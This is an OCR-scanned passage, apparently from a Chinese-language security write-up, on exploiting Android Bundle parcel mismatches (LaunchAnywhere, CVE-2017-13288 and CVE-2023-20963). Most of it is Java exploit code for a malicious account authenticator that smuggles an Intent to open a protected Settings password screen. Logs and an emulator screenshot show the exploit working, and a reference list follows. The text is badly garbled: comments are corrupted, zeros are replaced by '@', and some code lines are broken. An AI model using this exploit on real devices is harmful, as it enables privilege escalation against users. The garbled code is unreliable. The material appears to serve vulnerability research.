String[] strings, Bundle bundle) throws NetworkErrorException {
Log.Vv(TAG, "addAccount");

Bundle evil=new Bundle();
Parcel bndlData=Parcel.obtain();
Parcel pcelData=Parcel.obtain();

pcelData.writeInt(2); // #{ExIr%E

/] AR AN

pcelData.writeString("mismatch"); // Key

pcelData.writeInt(4); // #/x Parcelabel 284
pcelData.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
pcelData.writeInt(1); // syncHandle

pcelData.writeInt(1); // txPower

pcelData.writeInt(1); // rssi
1); // dataStatus
pcelData.writeInt(1) // flag

(
(
pcelData.writeInt(
(
(

pcelData.writeInt(-1); // HEKEY_INTENTHIKE, FHS5AN-1, %EHENEEEN
int keyIntentStartPos=pcelData.dataPosition(); // it F intent HJHLAAIE
pcelData.writeString(AccountManager .KEY_INTENT) ;

pcelData.writeInt(4); // #/x Parcelabel Z%!
pcelData.writeString("android.content.Intent");

//VLVFRZ intent KM%

pcelData.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(pcelData,null); // uri = null
pcelData.writeString(null); // mType = null
pcelData.writeInt(0x10000000); // Flags

pcelData.writeString(null); // mPackage = null
pcelData.writeString("com.android.settings");
pcelData.writeString("com.android.settings.password.ChooselLockPassword");
pcelData.writeInt(@); // mSourceBounds = null

pcelData.writeInt(@); // mCategories = null

pcelData.writeInt(@); // mSelector = null

pcelData.writeInt(@); // mClipData = null

pcelData.writeInt(-2); // mContentUserHint

pcelData.writeBundle(null);

int keyIntentEndPos=pcelData.dataPosition(); // intent MZILfrE

int lengthOfKeyIntent=keyIntentEndPos-keyIntentStartPos; // intent MK
pcelData.setDataPosition(keyIntentStartPos-4); // BzhiREaiEi g
pcelData.writeInt(lengthOfKeyIntent); // S A intent KJZ
pcelData.setDataPosition(keyIntentEndPos) ;

Log.d(TAG, "Length of KEY_INTENT is 0x" + Integer.toHexString(lengthOfKeyIntent));

/1 CATT RS AN AE X
pcelData.writeString("Padding-Key");
pcelData.writeInt(@); // #*/i String %7
pcelData.writeString("Padding-Value");
int length = pcelData.dataSize();
Log.d(TAG, "length = "+length);
bndlData.writeInt(length);
bndlData.writeInt(@x4c444e42); // Bundle JE%{
bndlData.appendFrom(pcelData, @, length);
bndlData.setDataPosition(0);
evil.readFromParcel(bndlData);

Log.d(TAG, evil.toString());

return evil;

5.3.3 7 MainActivity 5K INMK A
BN ABTERKMIKE Nt s REmASERPEREFRFNRNIAR., 1B,

String s1,
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5.3.4 igiH¥EE Bundle AR

BT R TEENAER. B,

5.3.5 EIWH
ETRA, ATLABERNAIB SR EE DR E



Running Devices:

SR

RSB THENER:

D Pixel 2 API 27

0 « o 8 © & O :

B

Set a screen lock
For security, set a PIN

PIM must be at least 4 digits

CANCEL

—
'ﬂ

a4 0907




V/MyAuthenticator: addAccount

D/MyAuthenticator: Length of KEY_INTENT 1s Ox144
D/MyAuthenticator: length = 544

D/MyAuthenticator: Bundle[mParcelledData.dataSize=544]

Fd 010 Editor ¥TH#itHAY Bundle tBA] LAAFE 75 (B A IEHAYSEIN -

nwwomo30mao 3 -

HepgilUN=15775 Bundle K/)\ 0x226 , BEFEPUNEFET59 Bundle B2 ox4cddsed2 , BHEEERENNE. EZEADT
addAccount EREIFATERRNE.
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UNHEES ZREMS, RFEE writeToParcel Y writeLong B8 writeInt B, {BEESL EXPNARUYER T IX— AT
EomiE, MEXENRREIER—ERAtSRESFA, BEtaStiEsESiE S =L ERE, flrnaLuEd
. RBROLEPERNNEIENANE, BEREFIINSERFFIHUALEN B ASEL ST 2E (.

5.5 Reference
[1] NVD - CVE-2017-13288. https://nvd.nist.gov/vuln/detail/CVE-2017-13288
[2] NVD - CVE-2023-20963. https://nvd.nist.gov/vuln/detail/CVE-2023-20963

[3] Git at Google, PeriodicAdvertisingReport.java.
https://android.googlesource.com/platform/frameworks/base/+/4525320403bfb85eh1629f9b43718970491f98ed/core/java/
android/bluetooth/le/PeriodicAdvertisingReport.java

[4] 1ceOear, Bundle Fengshui Study. https://1ce0ear.github.io/2020/05/14/bundle-fengshui-1/

[5] TrOe, Android LaunchAnywhere B4R/, https:/blog.csdn.net/weixin_39190897/article/details/125030718
[6] stvenOking, launchanywhere. https://github.com/stven0Oking/launchanywhere/blob/main/file/bundle-fengshui.md

[7] Android Developers, WorkSource. https://developer.android.com/reference/android/os/WorkSource

[8] Git at Google, WorkSource.java.
https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76¢c759e3/core/java/
android/os/WorkSource.java

[9] ;71 DarkNavy, 2022 SFEER AR TRIE. https:/mp.weixin.qq.com/s/P_EYQxOEupqdUOBJMRqWsw

[10] davincifans123, pinduoduo_backdoor. https://github.com/davincifans123/pinduoduo_backdoor


https://nvd.nist.gov/vuln/detail/CVE-2017-13288
https://nvd.nist.gov/vuln/detail/CVE-2023-20963
https://android.googlesource.com/platform/frameworks/base/+/4525320403bfb85eb1629f9b43718970491f98ed/core/java/android/bluetooth/le/PeriodicAdvertisingReport.java
https://android.googlesource.com/platform/frameworks/base/+/4525320403bfb85eb1629f9b43718970491f98ed/core/java/android/bluetooth/le/PeriodicAdvertisingReport.java
https://1ce0ear.github.io/2020/05/14/bundle-fengshui-1/
https://blog.csdn.net/weixin_39190897/article/details/125030718
https://github.com/stven0king/launchanywhere/blob/main/file/bundle-fengshui.md
https://developer.android.com/reference/android/os/WorkSource
https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3/core/java/android/os/WorkSource.java
https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3/core/java/android/os/WorkSource.java
https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw
https://github.com/davincifans123/pinduoduo_backdoor

